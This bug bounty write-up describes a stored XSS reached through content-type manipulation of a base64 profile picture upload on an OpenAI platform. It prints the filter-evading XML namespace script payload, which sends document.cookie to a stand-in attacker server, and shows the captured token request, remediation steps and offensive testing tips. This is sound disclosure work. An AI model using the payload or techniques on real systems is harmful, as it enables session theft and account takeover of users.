TL;DR
An OpenAI platform allowed users to upload profile pictures. The upload endpoint accepted the image as a base64-encoded payload with a user-controlled content type. By changing the content type to text/xml and replacing the image data with a malicious XML document containing JavaScript, I was able to upload a file that executed arbitrary scripts when any user visited its URL.
The uploaded file was stored on the server and served back without sanitization — the XML was parsed by the browser, the embedded JavaScript executed, and the victim's session cookies were exfiltrated to an attacker-controlled server. This turned a simple profile picture upload into a stored XSS that could steal any user's session.
Background — File Uploads and XSS
File upload is one of the most dangerous features a web application can offer. Every file that a user uploads is a potential vector for attack — and the risk multiplies when the application serves those files back to other users.
Content-Type: image/png, the browser renders it as an image. But if an attacker can upload a file with Content-Type: text/html or text/xml, the browser will parse and execute any JavaScript inside it — just like loading a web page. The file upload becomes a way to host malicious code on the target's own domain.Why Same-Origin Matters
Browsers enforce a security boundary called the Same-Origin Policy: JavaScript on one domain cannot read cookies or data from another domain. This is why hosting your XSS payload on evil.com doesn't let you steal cookies from openai.org — the browser blocks cross-origin access.
But when you can upload a file to the target's own domain and that file executes JavaScript, the script runs in the context of that domain. It has full access to the domain's cookies, localStorage, and session data. The Same-Origin Policy is satisfied because the malicious file is served from the same origin as the application itself.
Discovery — Intercepting the Upload
The target was an OpenAI platform that included user account management features — including the ability to upload a profile picture.
Step 1: Understanding the Upload Mechanism
I navigated to the account settings page and found the profile picture upload option. Before uploading anything malicious, I first uploaded a legitimate image and intercepted the request using Burp Suite to understand how the upload worked.
The intercepted request revealed something interesting:
POST /██████████/upload HTTP/1.1
Host: ██████████.██████████.███
Content-Type: application/json
{
"file": "data:image/png;base64,iVBORw0KGgo...",
"████████": "██████████"
}
The image was being sent as a base64-encoded string embedded in a JSON payload. The key observation: the content type (image/png) was part of the base64 data URI, not enforced by the server. This meant I could potentially change it to anything.
Step 2: Testing Content-Type Manipulation
The critical question: would the server accept a non-image content type?
I modified the data: URI prefix from image/png to text/xml and replaced the base64-encoded image data with a base64-encoded XML document. If the server accepted this without validation, the uploaded file would be interpreted as XML instead of an image — and XML can contain JavaScript.
Exploitation — From File Upload to Cookie Theft
Step 1: Crafting the Payload
I created an XML document with an embedded JavaScript payload using XML namespaces to bypass basic filters:
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">
alert(document.location="http://ATTACKER_SERVER/?c="+document.cookie)
</something:script>
</body>
</html>
xmlns:something attribute tells the browser "treat the something: prefix as XHTML." So <something:script> becomes a valid <script> tag when the browser parses the XML as XHTML. This technique bypasses filters that only look for literal <script> tags. The JavaScript inside redirects the victim's browser to the attacker's server, appending all cookies as a URL parameter.I base64-encoded this XML and replaced the image data in the upload request:
{
"file": "data:text/xml;base64,PGh0bWw+CjxoZWFkPjwvaGVhZD4...",
"████████": "██████████"
}
Step 2: Uploading and Locating the File
The server accepted the upload without any validation — no content-type checking, no file extension enforcement, no magic byte verification. The response included the path where the file was stored:
HTTP/1.1 200 OK
{
"████████": "/media/██████████/██████████/profile/██████████.xml",
"status": "success"
}
The server stored my XML file with a .xml extension and returned its path. When I sent a GET request to this path, the server served the file with the XML content type — and the browser parsed and executed the JavaScript inside it.
Content-Type: text/xml. The response body shows the XSS payload — the browser will execute it.Step 3: Weaponizing — Cookie Theft
Before sending the URL to a victim, I set up a simple HTTP server to receive the stolen cookies:
$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 ...
Then I logged in as a different user in a private browsing window to simulate the victim. When this second user visited the URL of the uploaded XML file, the JavaScript executed in their browser:
- The browser loaded the XML file from the OpenAI domain
- The embedded script executed in the context of that domain
- The script read
document.cookie— including the session's CSRF token - The script redirected the browser to the attacker's server with the cookies as a URL parameter
GET /?c=csrftoken=██████████████████████████████████ HTTP/1.1
Host: ATTACKER_SERVER:8888
User-Agent: Mozilla/5.0 ...
# Victim's CSRF token successfully exfiltrated
The stolen CSRF token matched the victim's browser cookies exactly — confirmed by inspecting the victim's cookie jar in DevTools.
Step 4: Delivery
To exploit a real victim, the attacker would simply need to send them a link to the uploaded file. Since the URL is on the OpenAI domain, it looks completely legitimate — no suspicious third-party domains. The URL could be disguised in an email, a message, or embedded in any page.
Impact
Severity: P2 (High) — Stored Cross-Site Scripting
The demonstrated attack chain:
- File upload bypass — server accepted arbitrary content types with no validation
- Stored XSS — uploaded file was served back with XML content type, executing embedded JavaScript
- Cookie theft — JavaScript exfiltrated the victim's CSRF token to an attacker-controlled server
What an attacker could do with this:
- Session hijacking — use the stolen CSRF token to perform actions as the victim
- Account takeover — chain the CSRF token with account modification endpoints to change the victim's email or password
- Data theft — use the XSS to read and exfiltrate page content, form data, or API responses visible to the victim
- Phishing amplification — because the malicious URL is on a legitimate OpenAI domain, victims are far more likely to trust and click it
- Lateral escalation — the XSS could be chained with SSRF, internal file reads, or other server-side attacks depending on what APIs are accessible from the domain
Remediation
The fix for insecure file upload leading to XSS involves multiple layers of defense:
- Content-Type validation. Only accept expected MIME types for the upload context. A profile picture upload should only accept
image/png,image/jpeg,image/gif, andimage/webp. Reject everything else server-side — never trust the client-provided content type. - Magic byte verification. Check the actual file contents (magic bytes / file signature), not just the declared content type. A file claiming to be
image/pngshould start with the PNG magic bytes (89 50 4E 47). If the magic bytes don't match the declared type, reject the upload. - Content-Disposition header. Serve uploaded files with
Content-Disposition: attachmentinstead of inline rendering. This forces the browser to download the file instead of rendering it — preventing any embedded scripts from executing. - Separate domain for user content. Serve uploaded files from a different domain (e.g.,
user-content.example.cominstead ofapp.example.com). Even if XSS occurs on the content domain, the Same-Origin Policy prevents it from accessing cookies on the main application domain. Google, GitHub, and most major platforms use this approach. - Re-encode uploads. For image uploads specifically, decode and re-encode the image server-side using an image processing library. This strips any non-image data (including embedded scripts) and produces a clean image file. Even if someone uploads a polyglot file that's both a valid image and valid HTML, re-encoding destroys the HTML payload.
- CSP headers. Set a strict Content Security Policy on the domain serving uploaded files, disallowing inline scripts and restricting script sources. This provides defense-in-depth even if other controls are bypassed.
Timeline
- 2024-09-06 — Vulnerability discovered and reported to OpenAI via Bugcrowd
- 2024-09-09 — Report triaged and closed
- $3,600 bounty awarded
Takeaways
- Always test file uploads with content-type manipulation. Whenever you find a file upload feature, intercept the request and try changing the content type. If the server accepts
text/html,text/xml, orapplication/xhtml+xmlwhen it should only accept images, you likely have XSS. This is one of the fastest checks you can do and has a surprisingly high hit rate. - Base64-encoded uploads are especially interesting. When the upload sends data as a base64 string with a
data:URI, the content type is often embedded in the URI prefix and not validated server-side. Swapdata:image/png;base64,...todata:text/xml;base64,...and see what happens. - XML namespace tricks bypass naive filters. If a WAF or filter blocks
<script>tags, try XML namespace prefixes like<x:script xmlns:x="http://www.w3.org/1999/xhtml">. The browser resolves the namespace and treats it as a valid script tag, but regex-based filters don't catch it. - Check where uploaded files are served from. After uploading, note the domain the file is served from. If it's the same domain as the main application, any XSS in the uploaded file has access to the application's cookies and session data. If it's a separate content domain, the impact is significantly reduced.
- Chain for maximum impact. A standalone XSS is interesting, but demonstrating a full attack chain (upload → XSS → cookie theft → CSRF → potential account takeover) is what turns a P4 into a P2 or higher. Always show the maximum realistic impact in your report.